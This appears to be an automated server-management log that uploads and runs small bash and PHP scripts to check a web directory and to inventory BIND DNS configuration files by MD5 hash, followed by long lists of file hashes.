MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-12 19:23:45: Establishing a connection
2026-07-12 19:23:45: Establishing a connection
2026-07-12 19:23:45: 

PUT: /tmp/pkp115532

#!/bin/bash
if [ -d "/var/www/pjy_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-12 19:23:45: 

chmod 755 /tmp/pkp115532; /tmp/pkp115532; rm /tmp/pkp115532

2026-07-12 19:23:45: 


0


2026-07-12 19:23:47: Establishing a connection
2026-07-12 19:23:47: Establishing a connection
2026-07-12 19:23:47: 

PUT: /tmp/pkp293100

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-12 19:23:47: 

runuser -l bind -s /bin/bash -c '/tmp/pkp293100; rm /tmp/pkp293100'

2026-07-12 19:23:47: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
